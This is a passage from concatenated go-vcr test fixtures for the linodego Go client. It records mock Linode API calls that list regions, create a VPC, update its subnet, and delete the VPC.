Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1700036161715043000","region":"es-mad","subnets":[{"label":"linodego-vpc-test-1700036162328473000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 10248, "label": "go-test-vpc-1700036161715043000", "description": "", "region": "es-mad", "subnets": [{"id": 11093, "label": "linodego-vpc-test-1700036162328473000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10248/subnets method: GET response: body: '{"data": [{"id": 11093, "label": "linodego-vpc-test-1700036162328473000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "235" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10248 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVPC_Subnet_Update.yaml000066400000000000000000000502431455402072200315550ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1700036160214484000","region":"es-mad","subnets":[{"label":"linodego-vpc-test-1700036160304968000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 10247, "label": "go-test-vpc-1700036160214484000", "description": "", "region": "es-mad", "subnets": [{"id": 11092, "label": "linodego-vpc-test-1700036160304968000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-vpc-test-1700036160304968000"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10247/subnets/11092 method: PUT response: body: '{"id": 11092, "label": "linodego-vpc-test-1700036160304968000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "186" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10247 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestVPC_Subnet_Update_Invalid_Label.yaml000066400000000000000000000471371455402072200342530ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 